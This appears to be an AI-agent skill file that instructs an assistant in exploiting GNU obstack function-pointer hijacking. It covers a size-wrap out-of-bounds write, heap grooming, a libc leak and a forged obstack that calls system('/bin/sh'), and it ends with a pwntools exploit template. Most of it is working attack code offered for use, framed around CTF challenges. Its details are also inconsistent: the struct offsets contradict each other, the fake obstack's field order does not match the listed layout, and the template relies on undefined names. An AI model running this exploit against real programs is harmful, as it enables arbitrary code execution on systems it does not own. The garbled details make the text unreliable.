Hacktricks-skills gnu-obstack-exploit
How to exploit GNU obstack function-pointer hijacking vulnerabilities. Use this skill whenever the user mentions obstack, GNU obstack, chunkfun, freefun, heap exploitation, libc leaks, function pointer hijacking, or binary exploitation involving allocator state corruption. This skill covers size_t desync primitives, OOB pointer writes, libc base leaking, and fake obstack construction for arbitrary code execution.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/binary-exploitation/libc-heap/gnu-obstack-function-pointer-hijack/SKILL.MDGNU Obstack Function-Pointer Hijacking Exploitation
This skill guides you through exploiting GNU obstack vulnerabilities to achieve arbitrary code execution via function-pointer hijacking.
When to Use This Skill
Use this skill when:
- You're analyzing a binary that uses GNU obstacks (
,obstack_alloc
, etc.)obstack_free - You've identified a heap corruption vulnerability affecting obstack structures
- You need to leak libc addresses through allocator function pointers
- You want to hijack
orchunkfun
for code executionfreefun - You're working on CTF challenges involving heap exploitation and obstacks
Core Concepts
Obstack Structure Layout (glibc 2.42)
struct obstack { char *chunk; // +0x00 Current chunk base char *next_free; // +0x08 Next allocation offset char *chunk_limit; // +0x10 End of current chunk long chunk_size; // +0x18 Current chunk size void (*chunkfun)(void *, size_t); // +0x20 Allocation function void (*freefun)(void *, void *); // +0x28 Free function void *extra_arg; // +0x30 Extra argument for chunkfun int use_extra_arg; // +0x38 Flag: use extra_arg in calls // ... additional fields };
Key offsets for exploitation:
:chunkfun
(or+0x20
in some versions)+0x38
:freefun
(or+0x28
in some versions)+0x40
:extra_arg+0x30
:use_extra_arg+0x38
The Vulnerability Pattern
GNU obstacks trigger indirect calls through
chunkfun when:
(chunk is full)next_free == chunk_limit
is called to allocate a new chunk_obstack_newchunk- The call goes through
orchunkfun(extra_arg, new_size)chunkfun(new_size)
If you can corrupt an obstack structure, you control the function pointer.
Attack Recipe
Step 1: Identify the Size_t Desync Primitive
Look for this pattern in the binary:
// Vulnerable: 32-bit register used for multiplication void *elements = obstack_alloc(obs, sizeof(void *) * size);
When compiled,
sizeof(void *) * size may use a 32-bit register:
→size = 0x20000000
→ wraps to0x20000000 * 8 = 0x100000000
in 32-bit0x0- Result: 0-byte allocation but logical
remainssize0x20000000 - Subsequent writes:
→ 8-byte OOB pointer storeselements[curr++] = ptr;
Detection checklist:
- Binary uses
with computed sizesobstack_alloc - Size parameter comes from user input or is controllable
- Multiplication involves
or similarsizeof(void *) - 32-bit register used for the multiplication (check with
)objdump -d
Step 2: Groom Heap Adjacency
You need two heap objects adjacent in memory:
[Object A: pointer array with OOB write primitive] [Object B: contains obstack pointer or obstack structure]
Grooming strategy:
- Allocate Object A (the pointer array with size wrap)
- Allocate Object B (victim object with obstack pointer)
- Ensure they're adjacent (may require freeing intermediate chunks)
- Use OOB write from A to corrupt B
Step 3: Leak libc via chunkfun
The
chunkfun field contains a pointer to malloc by default.
Leak procedure:
- Use OOB write to redirect a victim pointer to the obstack structure
- Read from offset
(or0x20
) to get0x38
addressmalloc - Calculate:
libc_base = malloc_addr - malloc_offset - Derive other symbols:
,system = libc_base + system_offsetbinsh = libc_base + binsh_offset
Example leak code:
# After OOB write redirects victim pointer to obstack libc_leak = read_from_offset(victim_ptr, 0x20) # chunkfun = malloc libc_base = libc_leak - libc.symbols['malloc'] print(f"libc_base: {hex(libc_base)}")
Step 4: Forge a Fake Obstack
Create attacker-controlled data that mimics an obstack header:
from pwn import p64 def create_fake_obstack(system_addr, binsh_addr, heap_leak): fake = b"" fake += p64(0x1000) # chunk_size: large enough fake += p64(heap_leak) # chunk: valid heap address fake += p64(heap_leak) # object_base fake += p64(heap_leak) # next_free: must equal chunk_limit fake += p64(heap_leak) # chunk_limit: same as next_free fake += p64(0xF) # alignment_mask fake += p64(0) # temp fake += p64(system_addr) # chunkfun: system() fake += p64(0) # freefun: unused fake += p64(binsh_addr) # extra_arg: "/bin/sh" fake += p64(1) # use_extra_arg: enable 2-arg call return fake
Critical fields:
: Forcesnext_free == chunk_limit
on next allocation_obstack_newchunk
: Your target function (e.g.,chunkfun
)system
: First argument (e.g.,extra_arg
address)"/bin/sh"
: Selectsuse_extra_arg = 1
call formchunkfun(extra_arg, new_size)
Step 5: Trigger the Hijack
- Overwrite the victim's
pointer to point at your fake obstackstruct obstack * - Trigger any allocation on the victim obstack
calls_obstack_newchunk
→chunkfun(extra_arg, new_size)system("/bin/sh")
Trigger methods:
- Call
obstack_alloc(victim_obs, any_size) - Call
obstack_push(victim_obs, any_data) - Any operation that requires new chunk allocation
Complete Exploit Template
from pwn import * # Configuration binary = './vulnerable_binary' libc = ELF('./libc.so.6') # Connect p = process(binary) # or remote('target', port) # Step 1: Trigger size wrap # Send size = 0x20000000 to create 0-byte allocation with huge logical size p.sendlineafter(b'size', b'536870912') # 0x20000000 # Step 2: Groom heap # Allocate victim object with obstack pointer p.sendlineafter(b'cmd', b'alloc_victim') # Step 3: Leak libc # Use OOB write to redirect pointer, then read chunkfun p.sendlineafter(b'cmd', b'leak') libc_leak = u64(p.recvline()[:6].ljust(8, b'\x00')) libc_base = libc_leak - libc.symbols['malloc'] print(f"[*] libc_base: {hex(libc_base)}") # Step 4: Create fake obstack system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh')) fake_obstack = create_fake_obstack(system_addr, binsh_addr, heap_leak) # Step 5: Overwrite obstack pointer and trigger p.sendlineafter(b'cmd', b'overwrite') p.send(fake_obstack) p.sendlineafter(b'cmd', b'alloc') # Triggers the hijack # Get shell p.interactive()
Debugging Tips
Verify Obstack Offsets
# Check actual offsets in your libc readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep obstack # Or use gdb (gdb) p sizeof(struct obstack) (gdb) p &((struct obstack*)0)->chunkfun
Check for Size Wrap
# Disassemble the vulnerable function objdump -d binary | grep -A 20 "vulnerable_function" # Look for SHL EAX (32-bit shift) instead of SHL RAX (64-bit)
Verify Heap Adjacency
# In gdb with pwndbg heap vmmap
Common Pitfalls
- Wrong offsets: Obstruct layout varies by glibc version. Always verify offsets.
- ASLR: Remember to leak libc before calculating addresses.
- Canaries: If stack canaries are enabled, you may need to leak them first.
- PIE: If PIE is enabled, you need to leak the binary base too.
- Alignment: Obstacks may have alignment requirements. Check
.alignment_mask